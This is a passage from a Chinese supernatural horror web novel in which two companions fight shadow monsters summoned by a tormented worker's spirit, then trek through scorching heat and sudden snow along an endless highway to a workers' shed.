反倒是调整了一个舒服的姿势,安然合上了双眼,像是打算先睡上一觉,补充体力。 肖靳言看着他这副泰然自若的模样,不由低啧了一声。 这家伙的心,有时候真是大得离谱。 不过,他喜欢。 肖靳言全然没有了睡意。 他干脆向后靠去,高大的身躯倚在床头,双手抱在胸前,目光沉静地注视着紧闭的房门。 他摩挲着指尖,静静地等待着。 等待着那个被逼入绝境,又被彻底激怒的男人,过来敲响这扇门。 第85章 第 85 章 无尽公路9 时间在寂静中缓慢流淌。 与窗外狂暴的雨声形成了诡异的对立。 宾馆房间里那暧昧的粉色灯光, 此刻非但没有带来任何旖旎的遐想,反而将整个空间都笼罩上了一层,说不出的诡异和压抑。 肖靳言靠在床头, 姿态看似放松,但全身的肌肉却处在一种随时可以爆发的临界状态。 他的目光沉静如水,牢牢锁定着那扇紧闭的房门, 耳朵则捕捉着走廊里任何一丝细微的响动。 躺在他身侧的宿珩,呼吸平稳悠长,仿佛真的已经沉入了梦乡。 肖靳言知道, 他没有。 这家伙只是在用这种方式, 最大限度地保持思考, 以应对接下来必然会发生的激烈冲突。 但他更愿意理解为…… 宿珩这是完全信任自己的表现。 这样一想,肖靳言心底反而生出一抹极强的保护欲。 不知过了多久。 “滋啦——” 头顶的灯管毫无征兆地闪烁了一下, 发出一声刺耳的电流杂音。 肖靳言的眼神骤然一凝。 紧接着,房间内所有的光源,包括床头那盏蒙着粉纱的台灯,都在同一时刻, 彻底熄灭。 绝对的黑暗, 瞬间吞噬了一切。 唯一的光源, 只剩下窗外偶尔划破天际的惨白闪电。 雷光一闪而逝, 短暂地照亮了宿珩蓦然睁开的双眼,也映出了肖靳言眼底一闪而过的凛冽寒光。 “滴答。” “滴答。” 清晰的滴水声, 突兀地在寂静的黑暗中响起。 那声音并非来自卫生间,而是来自房间的正中央。 肖靳言的视线猛地投向声音的来源处。 又一道闪电撕裂夜幕。 借着那瞬间的光亮, 他清楚地看到,房间中央那块暗红色的地毯上,不知何时已经汇聚了一小滩水渍。 水渍正在以肉眼可见的速度扩大, 仿佛地面上破开了一个无形的窟窿,正不断向外渗着冰冷的积水。 更诡异的是。 一个模糊的人形轮廓,正缓缓地从那滩积水中,升腾起来。 水流与阴影交织,最终凝聚成一个瘦小的男人身影。 他全身都湿透了,肮脏的工装上满是泥泞和水痕,雨水顺着他僵硬的发梢和脸颊不断滴落,在地上汇聚成更深的水洼。 他看起来和那张结婚照上的男人一模一样,只是脸上再没了那憨厚朴实的笑容。 取而代之的—— 则是一种被生活重担彻底压垮后的麻木,以及一双在黑暗中燃烧着疯狂与怨毒的眼睛。 他来了。 心门的主人。 男人并没有理会靠在床头的肖靳言,那双充斥着血丝的眼睛,死死地盯着床上那个“熟睡”的身影。 他一步一步地走过来。 每一步都在地毯上留下一个湿漉漉的脚印。 他的声音,像是从被水浸泡许久的喉咙里硬生生挤出来的。 沙哑,低沉……充满了无尽的痛苦和怨恨。 “用背叛我的妻子来捉弄我,你觉得很有趣,是吗?” 他的声音不大,却像一把冰冷的凿子,精准地凿在耳膜上,隐隐作痛。 这时,肖靳言的身体动了。 他没有发出任何声音,只是一个极其流畅的侧身,便挡在了宿珩的身前,将他完全护在了自己身后。 “我们无意冒犯。” 肖靳言的声音很平静,试图缓和对方那几乎要溢出体外的浓烈杀意。 “只是想跟你聊聊。” “聊?” 男人仿佛听到了什么天大的笑话,喉咙里发出一阵破风箱般的嗬嗬声。 他猛地抬起头,那双疯狂的眼睛终于对上了肖靳言的视线。 “你们这些高高在上的人,有什么资格跟我聊!” “你们知道什么?!” 话音落下的瞬间,男人身上那套湿透的工装寸寸崩裂,被一股从内而外涌出的暴戾气息撑得粉碎! 那具本就模糊的身躯以一种违背物理常识的方式,疯狂膨胀、扭曲! 漆黑的粘液从他皮肤下渗出。 像沸腾的柏油,迅速覆盖了他全身,将他彻底变成了一团由纯粹恶意和绝望构成的,不断蠕动的人形阴影。 那已经不能称之为“人”了。 它更像是之前在公路边灰雾中窥见的那些怪物,却又比那些怪物更加凝实,散发出的压迫感也更加恐怖。 肖靳言的瞳孔骤然收缩。 几乎是在男人异变的同一秒,他已经动了。 他脚下发力,高大的身躯如离弦之箭,瞬间跨越了两人之间的距离。 手中那把不起眼的黑色短刀,在黑暗中划出一道冰冷的弧线,精准地刺向了那团蠕动的黑影! 嗤——! 短刀刺入黑影的瞬间,发出了如同烧红的烙铁,探入了冰冷油脂的刺耳声响。 一股浓烈的,带着焦糊味的腥臭,猛地在空气中炸开。 那团人形黑影发出一声不似人声的尖啸,猛地向后弹开,重重撞在墙壁上。 宾馆老旧的墙体发出一声不堪重负的闷响,墙皮簌簌落下。 肖靳言一击得手,并未追击,而是顺势一个旋身,重新稳稳地落回床前,身形如山,将宿珩护得滴水不漏。 他手腕轻抖,甩掉刀锋上沾染的几滴还在蠕动的黑色粘液。 被击退的怪物,状态看上去不怎么好。 被短刀刺中的地方,一个碗口大的窟窿正在不断冒着黑烟,黑色的粘液正试图从四周涌来,修补那个创口,速度却很缓慢。 他原本凝聚成实体的轮廓,此刻变得如同水中摇曳的倒影,边缘不断溶解、重组,显得极不稳定。 可想而知,肖靳言这一击的威力有多大。 “滚出去……” “从我的世界里……滚出去!!!” 男人从喉咙深处发出了类似野兽的低声咆哮。 那双血红的眼睛里,最后一丝属于人的理智,正在被纯粹的暴戾与疯狂吞噬。 随着他情绪的失控,整个房间都开始剧烈地震动起来。 “轰隆隆——” 一声震耳欲聋的巨响。 不是来自窗外的雷鸣,而是像有一列满载的火车,正以无可阻挡之势,从房间的墙壁中呼啸着穿堂而过。 墙壁在一瞬间变得透明。 宾馆的房间消失了。 取而代之的,是一条在狂风暴雨中无限延伸的铁轨。 冰冷的雨水像一块块石子,疯狂地砸打在身上,带来刺骨的寒意和痛感。 同时越来越多的黑影在铁轨上显形。 它们密密麻麻地盘踞在铁轨的每一个角落。 有的站在铁轨枕木上,有的挂在电线杆上,有的像被遗弃的行李般堆叠在路基旁。 它们形态各异,都保持着一种诡异的、凝固般的姿态,仿佛是这片绝望风景里与生俱来的雕塑。 它们没有五官,脸部的位置只是一片平滑的曲面,不断有黑色的粘液滑落。 但宿珩和肖靳言却能清晰地感觉到—— 每一张“脸”,每一个黑影,都在注视着他们。 这就是灰雾中……那些怪物的样子。 成百上千道视线,无声无息从四面八方汇聚而来。 那不是单纯的好奇或审视,而是一种混杂着麻木、怨恨和无尽疲惫的注视。 仿佛他们这些不速之客的出现,打扰了这里一场持续了无数个日夜的沉默葬礼。 宿珩站在肖靳言身后,冰冷的雨水顺着他的下颌线滑落。 他感觉不到冷,因为一种更深沉的寒意,正从心底最深处,顺着血液蔓延至四肢百骸。 而被这群怪物包裹的最中央,异化的男人站在那里。 他没有立刻进攻,而是像一个指挥官,缓缓抬起了一只由粘稠黑液构成的手臂。 随着他手臂的挥落—— 那些盘踞在铁轨四周,死物般的黑影们,像是接收到了无声的指令,瞬间活了过来。 它们发出无声的尖啸,扭曲的身影化作一道道迅捷的黑线,从四面八方,潮水般朝着宿珩和肖靳言猛扑过来。 “小心。” 肖靳言低沉的声音在宿珩耳边响起。 下一秒,他整个人已经如炮弹般迎了上去。 他手中的短刀在黑暗中仿佛不存在,只有在与黑影接触的瞬间,才会爆出一道道割裂空气的冷光。 “嗤啦!” 冲在最前面的一个黑影被他迎面一刀,从头到脚,干脆利落地劈成了两半。 没有鲜血. 被斩开的截面平滑如镜,黑色的粘液疯狂蠕动,却无法愈合. 最终“噗”地一声,化作一滩冒着白烟的恶臭液体,彻底消散。 在那些怪物的视角里,肖靳言的每一次挥刀,都像是在这片绝望的黑白世界里,强行撕开一道通往虚无的裂口。 刀锋所过之处,万物湮灭。 他砍得毫不费力,甚至游刃有余,身形在数十个怪物的围攻中闪转腾挪,刀光所至,黑影成片地瓦解消散。 宿珩也没有闲着。 他环顾四周,目光锁定在了脚下那条冰冷的铁轨旁。 那里,一根被雨水浸泡得发黑的枕木,正静静地躺在碎石路基上。 他俯身,双手抓住枕木粗糙湿滑的边缘,手臂肌肉绷紧,低喝一声,竟硬生生将那根分量不轻的实木扛了起来。 “呼——” 沉重的枕木被他当作战锤,抡出一个半圆,带着呼啸的风声,朝着侧方扑来的三个黑影狠狠砸了过去。 “砰!” 一声沉闷至极的巨响。 被枕木正面击中的黑影,连挣扎都来不及,庞大的身躯便如被巨力拍碎的西瓜,瞬间爆成一团四散飞溅的黑色液体。 另外两个被擦到的,也如同断了线的风筝,惨叫着倒飞出去,在半空中便已形态不稳,落地后抽搐几下,化作了污水。 肖靳言在砍翻又一个怪物后,抽空瞥了一眼身后,恰好看到宿珩面无表情地,将一个黑影用枕木直接拍进了地里。 他没忍住,低声笑了一下。 “这段时间的特训,我怎么没发现,你力气这么大大。” “总不能站着等死。” 宿珩的回应一如既往的平静,手上的动作却丝毫不停。 两人一前一后,背靠着背,一个刀光凌厉,如精准的手术刀,高效地清理着靠近的威胁。 一个大开大合,用最原始的暴力,将成片的怪物砸得溃不成军。 一时之间,竟真的在这无穷无尽的怪物潮中,清出了一小片安全地带。 铁轨中央,那个异化后的男人眼中的疯狂愈发浓重。 他似乎被彻底激怒,仰天发出一声震耳欲聋的咆哮,全身的黑液剧烈沸腾起来,庞大的身躯再次膨胀,显然是准备发动更猛烈的攻击。 然而,就在这剑拔弩张的时刻—— 一阵极不合时宜,甚至有些滑稽的手机铃声,突兀地从男人沸腾的身体里响了起来。 那是一首网络上流传甚广的土味情歌,故意营造出的欢快节奏在这片充斥着暴雨和绝望的铁轨上,显得无比诡异。 男人的动作戛然而止。 他身上那股毁天灭地的暴戾气息,像是被戳破的气球,瞬间泄了个一干二净。 他有些慌乱地从自己那不断蠕动的黑液身体里,掏出了一部同样由黑液构成的,还在震动响铃的手机。 他看了一眼“屏幕”,整个怪物的气势都垮了下去。 那副唯唯诺诺,充满恐惧和卑微的姿态,与之前那个刻薄女人打电话时,电话那头的男人,一模一样。 他划开接听键,对着那团黑液,小心翼翼地开了口,声音沙哑又充满了讨好。 “爸……” “没……没干什么,就在外面工地上,雨太大了,躲雨呢。” “买药钱不够了吗,等我发了工资,我马上就转给你!一分不少!你放心!” “好好好,我马上就回,你和妈早点睡……” 挂断电话。 整个世界都安静了。 异化的男人如释重负地呼出一口气,随后缓缓抬起头,那双血红的眼睛依旧死死地盯着肖靳言和宿珩。 那眼神里,交织着滔天的恨意,无尽的屈辱,以及……一丝无法掩饰的恐惧。 不过……似乎因为这通电话打乱了他的节奏。 男人最终什么也没做。 他只是不甘地咆哮了一声,庞大的身躯便如同融化的蜡像,迅速溶解,重新化为一滩黑色的积水,渗入了铁轨的路基之中。 随着他的消失。 周围所有的怪物,连同那条无限延伸的铁轨和漫天的狂风暴雨,都在一瞬间,如同被按下了删除键的幻影,彻底消失。 四周的景物一阵扭曲模糊。 下一秒,两人发现自己依旧站在那间粉色灯光,气氛暧昧的宾馆房间里。 一切都恢复了原样。 窗外的暴雨仍在不停歇地下着,雷声在乌云中翻滚。 仿佛刚才那场惊心动魄的大战,只是一场荒诞的噩梦。 唯一不同的是,宿珩的手里,还扛着那根又湿又脏的巨大枕木。 肖靳言看着他,又看了看那根枕木,再看了看房间里暧昧的粉色大床,慢慢舒了一口气。 宿珩随手一松。 “咚!” 沉重的枕木掉在地毯上,发出一声闷响,留下了一块混着泥水的污渍。 宿珩没有理会被弄脏的地毯,径直走出701,来到了702的门前。 房门紧闭,没有房卡。 宿珩盯着门锁的位置看了一秒,像是在回忆什么。 随即他后退半步,侧过身,抬起长腿,学着之前肖靳言的动作,对着门锁的位置干脆利落地发力。 “砰!” 一声巨响在死寂的走廊里炸开。 木屑纷飞,门锁在他这一脚下不堪一击,整扇门向内弹开,重重撞在墙壁上。 肖靳言跟了出来,他看着宿珩这干净利落的一脚,嘴角微微上扬。 宿珩走进702。 屋内之前还惊恐万状的女人,已经消失得无影无踪。 除了底板上。 那具被水泡得惨白浮肿的男性尸体,还安静地躺在那里,赤/裸的身体在昏暗的光线下,像一截被剥了皮的巨大根茎。 它是刚才那场混乱唯一的,也是最骇人的证明。 肖靳言跟着走了进来。 他低啧了一声,评价道:“看来,心门的主人对他老婆,还留着几分情面。” 宿珩转过头,不置可否地嗯了声。 “或者说——” “他只是解决了最直接的那个麻烦。” 第86章 第 86 章 无尽公路10 这句话很冷, 像702房间里那具尸体一样,不带任何温度森*晚*整*理。 听他这么说,肖靳言只是低啧了一声, 没再说什么。 这确实是心门主人会做出的选择。 他被生活逼到了绝境。 被父母、妻儿、工作层层盘剥。 唯独那个情夫,是唯一一个他可以轻易抹除,且不用承担任何现实后果的“麻烦”。 至于那个出轨的妻子…… 她是孩子的母亲, 是压在他身上名为“家庭”的重担里,不可或缺的一环。 他恨她,却又无法彻底摆脱她。 这便是他绝望的根源之一。 宿珩转身, 重新回到701房间。 那根被他随手丢下的巨大枕木, 还带着铁轨边的泥水, 在地毯上留下了一块扎眼的污渍。 他像是没看见,绕过枕木, 走到床边,然后就这么躺了上去。 他没有睡,只是睁着眼,一动不动地盯着天花板上, 那盏还在散发着粉色光晕的大灯。 灯光将他清隽的脸庞映得有些失真, 长长的睫毛在眼睑下方投下一小片安静的阴影。 肖靳言跟了进来, 反手将房门关上, 还顺便落了锁。 他走到床边,看着躺在那儿的宿珩, 也跟着躺了下去。 他没有平躺,而是支起一只手臂, 侧过身,就这么看着宿珩的侧脸。 房间里一时间只剩下窗外不依不饶的雨声,以及两人之间被那片粉色灯光烘托得有些微妙的安静。 宿珩终于动了。 他转过头, 漆黑的眼眸对上肖靳言的视线。 “看什么?” “看帅哥。” 肖靳言的回答直白又坦荡,嘴角还噙着一丝若有若无的笑意。 宿珩的眼皮懒懒地掀了一下,随即毫不客气地,对着他翻了个白眼,然后又把头转了回去,继续研究那盏品位堪忧的顶灯。 这个充满了嫌弃意味的小动作,却让肖靳言嘴角的笑意更深了,他甚至低低地笑出了声。 “比起你那副拒人千里之外的冷淡样子,我还是更喜欢现在这样,有点人气的宿珩。” 他的声音不大,带着一丝刚经历过一场大战后的沙哑,在这片暧昧的粉色光晕里,显得格外清晰。 宿珩没有回应,但肖靳言能感觉到,他紧绷的肩膀似乎放松了一丝。 “别想了。” 肖靳言收敛了笑意,声音沉静下来,“先休息吧,明天或许还有很长的路要走。” 这次,宿珩总算有了点反应。 他从喉咙里发出一声极轻的“嗯”,然后便缓缓合上了双眼。 他的呼吸很快就变得平稳而悠长,像是真的累极了,瞬间便坠入了沉眠。 肖靳言却迟迟未睡。 他侧躺着,目光一错不错地描摹着宿珩的睡颜。 少年白皙的脸颊在粉色灯光下,被染上了一层朦胧的光晕,皮肤清透得几乎能看到下面淡青色的血管。 或许是因为彻底放松了下来,他平日里总是微微抿着的唇,此刻也自然地分-开一道细小的缝隙,随着呼吸轻轻起伏。 安静,无害,甚至带着几分脆弱。 与刚才那个扛着枕木,面无表情地将怪物一锤一个拍进地里的凶悍模样,判若两人。 不知为何,肖靳言忽然感到一阵莫名的口干舌燥。 一股难以抑制的冲动,像是蛰伏已久的野兽,毫无征兆地从他心底最深处猛地窜了出来。 野兽疯狂地叫嚣着,撕咬着他引以为傲的自制力。 他想…… 想做点什么。 这个念头一起,便如燎原的野火,瞬间烧遍了四肢百骸。 肖靳言的脸色微不可察地一变,呼吸骤然粗重了几分。 他猛地坐起身,像是要逃离什么一样,快步走进了卫生间,“砰”的一声关上了门。 冰冷的瓷砖与镜子,将外面那片暧昧的粉色彻底隔绝。 肖靳言双手撑在洗手台上,低着头,急促地喘息着。 他拧开水龙头,捧起冰冷刺骨的凉水,一遍又一遍地泼在自己脸上。 但那股源自身体内部的狂躁,却丝毫没有褪去的迹象。 他抬起头,看向面前的镜子。 镜中的男人,有着和他一模一样的脸,轮廓深邃,眉眼锋利。 但那双黑沉沉的眼睛里,却翻涌着他自己都感到陌生的,近乎原始的疯狂与贪婪。 那是一种想要将某样东西彻底碾碎,揉进骨血,完全占为己有的,毁灭性的欲望。 “咚!” 心脏的位置传来一声沉闷的巨响,像是有人用重锤狠狠砸了一下。 肖靳言下意识地伸出手,用力按住自己的左胸。 隔着微湿的浴袍,他能清晰地感觉到,那里的血肉之下,仿佛有什么东西被长久地压抑着,此刻正疯狂地想要破体而出。 镜子里,那个“自己”的嘴角,缓缓勾起一抹残忍而诡异的笑容。 肖靳言的瞳孔骤然收缩。 他死死地盯着镜中那个陌生的自己,用尽了全身的力气,从牙缝里挤出一个无声的口型。 “不、可、以!” 话音落下的瞬间,心脏的位置传来一阵尖锐的抽痛,像是被无数根钢针同时刺穿。 剧痛让他闷哼一声,身体猛地一晃,险些栽倒。 他闭上眼,额上青筋暴起,冷汗顺着脸颊滑落。 不知过了多久,那股尖锐的疼痛才如潮水般缓缓退去。 肖靳言再次睁开眼。 镜子里,那个疯狂而陌生的倒影已经消失不见。 只剩下他自己,脸色苍白,眼神里带着一丝劫后余生的疲惫。 那股几乎要将他理智吞噬的原始冲动,总算被他强行按捺了下去。 与此同时。 大床上,本该熟睡的宿珩,不知何时已经睁开了双眼。 他没有动,只是侧躺着,目光平静地落在卫生间那扇紧闭的门上,眉头几不可察地微微蹙起。 刚才那一瞬间…… 他分明感觉到了一股极其强大,又极其陌生的暴戾气息,从卫生间的方向一闪而逝。 那股气息,甚至比心门主人异化后,所散发出的恶意还要纯粹,还要……恐怖。 是……肖靳言? 宿珩的脑海中闪过这个念头,但又觉得有些不可思议。 或许是自己太过疲惫,产生了错觉…… 他正思索着,卫生间的门“咔哒”一声,被从里面拉开了。 宿珩几乎是在门响的瞬间,便已经转过了身,背对着门口的方向,同时调整好了自己的呼吸。 等肖靳言带着一身还未散尽的凉意,从卫生间里走出来时。 看到的。 只是一个蜷在床的另一侧,呼吸平稳,似乎已经睡得很沉的背影。 这一夜。 两个人都没有睡着。 窗外的暴雨不知疲倦地冲刷着世界,雨点砸在玻璃上的声音密集而沉闷。 肖靳言靠在床头,抱着胳膊,慢慢调整呼吸,尽可能显得平稳,像一尊沉静的雕塑。 宿珩则背对着他,身体微微蜷缩着,一动不动。 然而,在彼此都无法看见的黑暗中,两双眼睛都清醒地睁着。 空气里,除了雨声,只剩下对方近在咫尺的,刻意放缓的呼吸声。 那是一种心照不宣的伪装,谁也没有戳破。 宿珩的脑海里,反复回放着卫生间门后,那股一闪而逝的,陌生而恐怖的气息 而肖靳言的脑子里,则是一片被强行压制下去的,翻涌的混沌。 镜中那个陌生自己的诡异笑容,与宿珩在粉色灯光下毫无防备的睡颜,两个画面交替出现,像两股力量在他体内疯狂撕扯。 他甚至不敢转过身。 他怕自己一转头,就会失控。 自从离开无限世界后,这种感觉已经好几年未曾出现过。 没想到却在此时此地,被猝不及防地重新“激活”。 肖靳言眸光深沉得似要滴水。 这份沉默的对峙,一直持续到天际泛起一丝微弱的鱼肚白。 雨声不知何时小了下去,变成了淅淅沥沥的残响。 宿珩紧绷了一夜的神经终于松懈下来,在一片混沌中,迷迷糊糊地睡了过去。 这一觉睡得并不安稳。 等他再睁开眼时,是被窗外刺眼的阳光晃醒的。 暴雨早就停了。 那轮熟悉的,能将人活活烤干的烈日,重新高悬在天际,将整个世界都炙烤得扭曲变形。 身侧的位置已经空了,甚至属于另一个人的体温,都不曾剩下。 宿珩坐起身,揉了揉有些发胀的太阳穴。 他走进卫生间,镜子前方的洗手台上,那件被肖靳言换下的白色浴袍,正随意地搭在上面。 就在宿珩简单洗漱了一番,换好自己的衣服时,房门被人从外面用房卡刷开。 肖靳言走了进来。 他身上穿着的,正是自己那身简单洗干净的衬衣和黑裤。 衬衣没有烘干,有些微缩水,穿在他高大健硕的身体上,被撑得绷紧,勾勒出壁垒分明的肌肉线条,倒也并不违和。 他手里捧着两碗热气腾腾的泡面,浓郁的香气瞬间驱散了房间里残留的暧昧与诡异。 看到宿珩,肖靳言笑着挑了下眉:“趁热吃,前台买的,特意给你加了根火腿肠。” 宿珩对昨晚可能发生的错觉只字不提。 他走过去,接过其中一碗,低声说了句:“谢谢。” 然后便坐在床边,用叉子卷起面条,慢慢地吃了起来。 一顿早饭在沉默中结束。 肖靳言将两人的水瓶重新灌满水,随后两人一起坐电梯下到一楼。 乐康早就在大堂里等着了。 他眼下乌青,脸色憔悴,显然昨晚也没睡好。 他看到两人从电梯里出来,视线在宿珩那同样带着一丝疲惫的脸上,和肖靳言依旧精神焕发的模样之间来回扫了一眼,最终忍不住,默默地叹了口气。 “叹什么气?” 肖靳言将房卡放在柜台上,随口问了一句。 “没……没什么。” 乐康连忙摆手。 倒是前台那个睡眼惺忪的中年女人,在接过房卡时,用一种不怀好意的眼神瞥了他们一眼,笑得暧昧。 “年轻人,体力就是好啊。” “昨晚我在一楼,都听到你们楼上乒乒乓乓的,动静可真不小。” 肖靳言毫不避讳,眉头挑得极高,笑道:“谢谢夸奖,以后我们会注意的。” 女人掩嘴低笑。 宿珩:“……” 怕越描越黑,他懒得解释半个字,直接转身走出了宾馆。 灼热的空气迎面扑来,几乎让人窒息。 乐康和肖靳言立刻跟了上去。 依旧是看不到尽头的公路,依旧是能将人烤熟的烈日。 在三人离开后不久。 身后那栋孤零零的红太阳宾馆,便在蒸腾的热浪中,如同海市蜃楼般,慢慢扭曲模糊,最终彻底消失不见。 或许是昨晚的挑衅,彻底得罪了心门的主人。 宿珩敏锐地发现,公路两旁那翻涌不休的灰色浓雾里,掠过的黑色影子,比之前任何时候都要多,也更加密集。 它们不再只是单纯地盘踞在雾中,而是像一群闻到了血腥味的秃鹫,不远不近地跟随着他们。 一双双无形的眼睛,在浓雾背后投来怨毒而麻木的注视。 肖靳言也察觉到了,他侧过头,打趣道:“看来,有人比你还记仇。” 宿珩懒得搭理他。 只是伸手,将头顶那顶属于肖靳言的白色棒球帽,往下压了压,遮住刺眼的阳光,自顾自地埋头往前走。 顶着烈日又走了约莫两个小时。 公路上开始出现一些骇人的景象。 他们先是在路边,看到了一具已经完全脱水的干尸。 死者保持着一个向前挣扎的姿势,全身皮肤焦黑干瘪,像是被瞬间抽干了所有水分,死状凄惨。 又往前走了几公里,另一具尸体出现在公路靠边的位置。 但那具尸体已经不能称之为“尸体”了。 只剩下一些被啃食得乱七八糟的残骸和骨架,黑色的血迹浸透了滚烫的柏油路面,散发着一股令人作呕的腥臭。 几只小一些的黑影怪物,正趴在残骸上,贪婪地啃食着最后一点血肉。 看到肖靳言他们靠近,那些怪物才不甘地嘶叫一声,迅速退回了路边的灰雾之中。 “是……是她……” 乐康的脸色瞬间变得惨白,他死死盯着那具残缺不全的尸骸,声音都在发抖。 他认出来了。 从那身破烂的衣物和仅剩的半边头骨轮廓,他认出这正是之前在板房、在红太阳宾馆里,和他们有过两面之缘的三人之一—— 那个语气刻薄的女人。 没想到,她最终还是没能熬过去,横死在了这条绝望的公路上。 又一次,亲眼目睹一个活生生的人,变成一堆被怪物啃食的零碎骨肉,这股冲击力远比任何恐怖片都要来得猛烈。 乐康想起了自己的男朋友,情绪一下子就崩溃了。 他双腿一软,几乎要瘫倒在地,脸上满是绝望和茫然。 “我们……我们也会变成这样吗?” 他喃喃自语,“这里到底有没有出口……到底要走到什么时候才是个头啊……” 宿珩停下脚步,回头看了他一眼。 他没有去扶,也没有说任何安慰的话,只是指了指乐康一直紧抱的水瓶,声音一如既往的清冷。 “喝口水。” 乐康木然地拧开水瓶盖,却没有喝。 宿珩收回手,那双总是透着几分疏离的漆黑眼眸,此刻却像两把锋利的尖刀,直勾勾地刺向乐康,一字一句地说道: “往前走,可能有出口。” “但停下来,永远不可能有。” 这句话,不带任何温度,却像一记重锤,狠狠地砸在了乐康的心上。 他浑身一僵,整个人都愣住了。 是啊。 停下来,除了死,还能有什么? 死在酷热里,死在暴雨中,或者……被那些怪物活活撕碎。 而往前走…… 至少,还有一丝虚无缥缈的希望。 一股求生的本能,从他几近崩溃的情绪废墟中,重新顽强地钻了出来。 乐康的眼神,从茫然和绝望,渐渐重新汇聚起一丝光亮。 他狠狠地抹了一把脸,将水瓶拧开,大口大口地灌了几口水。 然后,他站直了身体,将剩下的大半瓶水死死抱在怀里,什么也没说,只是默默地跟在了两人身后,继续迈开了沉重的脚步。 第87章 第 87 章 无尽公路11 又往前走了三个多小时。 熟悉的天气骤变再次发生。 天光在一瞬间暗沉下来, 像是被人用一块厚重的脏抹布,胡乱地擦过。 紧接着,气温断崖式下跌。 前一秒还令人窒息的灼热空气, 在短短几个呼吸间,便被一种浸入骨髓的阴冷彻底取代。 但这次……不是暴风雨的前兆。 “下雪了。” 宿珩停下脚步,抬起头。 一片冰凉的雪花, 恰好落在他的眼睫上,瞬间融化成一滴冰冷的水珠。 起初只是零星的雪籽。 但很快,雪势便以一种不合常理的速度, 骤然变大。 密集的雪片如撕碎的棉絮, 被狂风卷挟着, 从灰蒙蒙的天空席卷而下,铺天盖地。 不过短短几分钟。 整条公路, 连同公路两旁那翻涌不休的灰色浓雾,都被染上了一层刺眼的惨白。 酷热和严寒的无缝切换,对体能的消耗是毁灭性的。 狂风卷着雪粒子,像无数把细碎的冰刀, 劈头盖脸地刮在人脸上, 带来密密麻麻的刺痛感。 肖靳言的脸色也沉了下来。 “把帽子戴好。” 他一边说着, 一边伸出手, 将宿珩那顶棒球帽的帽檐又往下压了压。 冰冷的雪花落在肖靳言宽阔的肩上,很快便积了薄薄的一层。 宿珩抬眸看了他一眼, 没说什么,只是看了眼身后的乐康, 确认他状态尚可。 “走吧。”肖靳言沉声开口,“不能停。” 于是,三人顶着愈发狂暴的风雪, 深一脚浅一脚地在积雪中艰难前行。 能见度变得极低,放眼望去,天地间只剩下一片白茫茫的混沌。 时间在这种的环境下,变得模糊而漫长。 不知又走了多久,三人的身上都已经落满了厚厚的积雪,远远看去,就像三个在风雪中蹒跚移动的雪人。 乐康的体力最先告罄,他一个踉跄,险些摔倒在地。 宿珩眼疾手快地扶了他一把。 乐康的身体冻得像一块冰坨,毫无血色的脸上,写满了濒临崩溃的绝望。 “走不动了……”他声音嘶哑,几乎是在哀求,“我真的……一步都走不动了……” “前面有光。” 就在这时,肖靳言低沉而笃定的声音,穿透了呼啸的风雪。 乐康猛地抬起头,顺着肖靳言的视线奋力望去。 果然,在前方不远处的风雪中,有一点昏黄而微弱的光,如同风中残烛,却顽强地亮着。 那点光,像是往一潭死水里投入的石子,瞬间在乐康死寂的眼底,重新激起了一丝求生的渴望。 他咬紧牙关,也不知道从哪里又挤出了一丝力气,跌跌撞撞地朝着那片光源冲了过去。 肖靳言和宿珩对视一眼,立刻跟上。 光源来自一栋孤零零杵在公路边的简易工棚。 工棚的门没关严,嘈杂的喧哗声从门缝里飘了出来。 三人走到门口,肖靳言一把推开那扇薄薄的铁皮门。 一股混杂着汗臭、烟味和方便面味道的热浪,迎面扑来。 工棚内十分杂乱,各种叫不上名字的工具胡乱地堆在角落,墙上挂着几件满是油污的工装。 正中央的位置,摆着一张用木板临时拼凑起来的桌子,几个穿着蓝色工装的男人,正围着桌子,热火朝天地打着麻将。 旁边还围着不少看热闹的工人,整个工棚里都充斥着叫骂声,和麻将牌碰撞的清脆声响。 “胡了!清一色!给钱给钱!” 一个腰比水桶还粗的胖子,猛地将手里的麻将牌往桌上一推,嘴里叼着的烟卷随着他得意的动作,一抖一抖地往下掉着烟灰。 他身上裹着一件厚实的军大衣,肥硕的脸上满是油光,正扯着嗓子,唾沫横飞地催促着牌桌上的其他人。 另外几人敢怒不敢言,只能苦着脸,从口袋里摸出几张皱巴巴的纸币,递了过去。 肖靳言三人的闯入,让这片嘈杂的空间出现了一瞬间的安静。 所有人的目光,都齐刷刷地投了过来,眼神里带着毫不掩饰的排斥和警惕。 那胖子收了钱,这才不耐烦地抬起眼皮,斜睨着门口那三个像是从雪堆里扒出来的落魄身影。 “你们谁啊?”他粗声粗气地问,“来找活干的?” 肖靳言搓了把冻得有些僵硬的脸,雪水顺着他硬朗的脸部轮廓滑落。 他很自然地顺着对方的话接了下去:“是,听说这里招工。” 胖子那双被肥肉挤成一条缝的眼睛,在肖靳言高大健硕的体魄上扫了一圈,满意地点了点头。 但当他的目光转向旁边身形清瘦的宿珩,和冻得像根豆芽菜,毫无血色的乐康时,脸上毫不掩饰地露出了嫌弃的神色。 “你……”他伸出肥胖的手指,点了点肖靳言,“身子看着还行,像是能干活的,你留下吧。” 随即,他下巴一扬,对着宿珩和乐康的方向摆了摆手,语气里满是驱赶的意味。 “至于这两个,看着就不是能干活的料,哪儿来的回哪儿去,别在这儿碍眼。” 宿珩压根没有理会他的话。 他那双漆黑的眼眸,正不动声色地,快速扫过工棚里每一张被烟熏火燎得有些模糊的脸。 他在找人。 寻找那个被生活压垮,眼底藏着麻木与绝望的心门主人。 然而。 一圈看下来,他失望地发现,这里所有人的脸上,都带着一种相似的,被繁重劳作磨平了棱角的疲惫。 却唯独没有他想找的那份,足以扭曲现实的,极致的怨念。 “还愣着干嘛?快走快走!” 胖子见他们不动,不耐烦地挥了挥手,准备继续自己的牌局。 就在这时,工棚的门再次被猛地推开。 一个同样穿着蓝色工装的男人,浑身裹着风雪,连滚带爬地跑了进来。 他一边跺着脚上的积雪,一边哈着白气,扯着嗓子大喊:“王头儿!不好了!外面的雪太大了,三号线那边的铁轨全都冻上了,道岔也扳不动了,得赶紧派人过去处理啊!” 被称作王头的胖子,刚摸起一张牌,闻言顿时皱起了眉头,叼着烟骂骂咧咧地喊道:“张文强呢?让他去不就行了?” 很快,牌桌上一个瘦小的男人缩着脖子回道:“张文强他……他上午去抢修另一段铁轨,到现在还没回来呢。” “妈的,真是个懒货!” 王头儿不耐烦地将手里的麻将牌重重砸在桌上,骂道,“一点活都干不明白!废物点心!” 他骂骂咧咧地四下扫视了一圈,目光最终落在了门口的肖靳言身上。 “新来的,你去!” 肖靳言耸了耸肩,表情没什么变化:“可以啊。” 他顿了顿,话锋一转。 